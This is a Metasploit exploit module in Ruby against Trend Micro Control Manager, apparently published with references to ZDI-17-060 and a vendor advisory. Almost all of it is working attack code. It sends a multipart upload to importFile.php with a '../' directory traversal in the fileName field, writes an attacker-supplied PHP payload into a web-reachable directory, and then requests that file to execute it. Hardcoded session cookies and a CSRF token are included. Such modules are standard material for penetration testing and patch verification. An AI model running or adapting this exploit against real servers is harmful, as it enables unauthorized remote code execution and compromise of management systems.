Trend Micro Control Manager - ImportFile Directory Traversal Remote Code Execution (Metasploit)

require 'msf/core'
require 'msf/core/exploit/php_exe'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::FileDropper
	include Msf::Exploit::PhpEXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Trend Micro Control Manager importFile Directory Traversal RCE',
			'Description'    => %q{
				This module exploits a directory traversal vulnerability found in Trend Micro
				Control Manager. The vulnerability is triggered when sending a specially crafted
				fileName (containing ../'s) parameter to the importFile.php script. This will allow
				for writing outside of the ImportPolicy directory.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'ZDI', '17-060' ],
					[ 'URL', 'https://success.trendmicro.com/solution/1116624' ]
				],
			'Payload'	 =>
				{
					'BadChars' => "\x00",
				},
			'Platform'       => 'php',
			'Arch'		 => ARCH_PHP,
			'Targets'        =>
				[
					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 07 2017'))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base path to TMCM', '/webapp']),
				OptBool.new('SSL', [ true, 'Use SSL', true]),
				Opt::RPORT(443),
			], self.class)
	end

	def exploit
		require 'securerandom'

		uri =	 target_uri.path
		uri << '/' if uri[-1,1] != '/'

		boundary = SecureRandom.hex
		payload_name = "#{rand_text_alpha(5)}.php"
		print_status("Uploading #{payload_name} to the server...")

		cookies =  "ASP_NET_SessionId=55hjl0burcvx21uslfxjbabs; "
		cookies << "wf_cookie_path=%2F; WFINFOR=#{rand_text_alpha(10)}; "
		cookies << "PHPSESSID=fc4o2lg5fpgognc28sjcitugj1; "
		cookies << "wf_CSRF_token=bd52b54ced23d3dc257984f68c39d34b; "
		cookies << "un=a8cad04472597b0c1163743109dad8f1; userID=1; "
		cookies << "LANG=en_US; "
		cookies << "wids=modTmcmCriticalEvents%2CmodTmcmUserThreatDetection%2CmodTmcmAppStatusSrv%2CmodTmcmTopThreats%2CmodTmcmEndpointThreatDetection%2CmodTmcmCompCompliance%2C; "
		cookies << "lastID=65; cname=mainConsole; theme=default; lastTab=-1"

		post_body = []
		post_body << "--#{boundary}\r\n"
		post_body << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
		post_body << "importPolicy\r\n"
		post_body << "--#{boundary}\r\n"
		post_body << "Content-Disposition: form-data; name=\"fileSize\"\r\n\r\n"
		post_body << "2097152\r\n"
		post_body << "--#{boundary}\r\n"
		post_body << "Content-Disposition: form-data; name=\"fileName\"\r\n\r\n"
		post_body << "../../../widget_60_2899/repository/db/sqlite/#{payload_name}\r\n"
		post_body << "--#{boundary}\r\n"
		post_body << "Content-Disposition: form-data; name=\"filename\";\r\n"
		post_body << "filename=\"policy.cmpolicy\"\r\n"
		post_body << "Content-Type: application/octet-stream\r\n\r\n"
		post_body << "<?php #{payload.raw} ?>\r\n\r\n"
		post_body << "--#{boundary}--\r\n"

		res = send_request_cgi({
			'method'	=> 'POST',
			'uri'			=>	normalize_uri("#{uri}", "widget", "repository", "widgetPool", "wp1", "widgetBase", "modTMCM", "inc", "importFile.php"),
			'ctype'		=>	"multipart/form-data; boundary=#{boundary}",
			'data'		=>	post_body.join,
			'headers'	=>	{
				'Cookie'					=>	cookies,
				'Accept-Encoding'	=>	"gzip;q=1.0,deflate;q=0.6,identity;q=0.3",
				'Connection'			=>	"close",
				'Accept'					=>	"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				'Accept-Language'	=>	"en-US,en;q=0.5",
			},
		})

		if res.body =~ /Import Successfully/
			print_good("#{payload_name} uploaded successfully!")
			print_status("Attempting to execute payload...")

			res = send_request_cgi({
				'method'	=>	'GET',
				'uri'			=>	normalize_uri("#{uri}", "widget_60_2899", "repository", "db", "sqlite", "#{payload_name}"),
				'headesr'	=>	{
					'Cookie'	=>	cookies
				}
			})

		else
			print_error("Something went wrong...")
		end

	end
end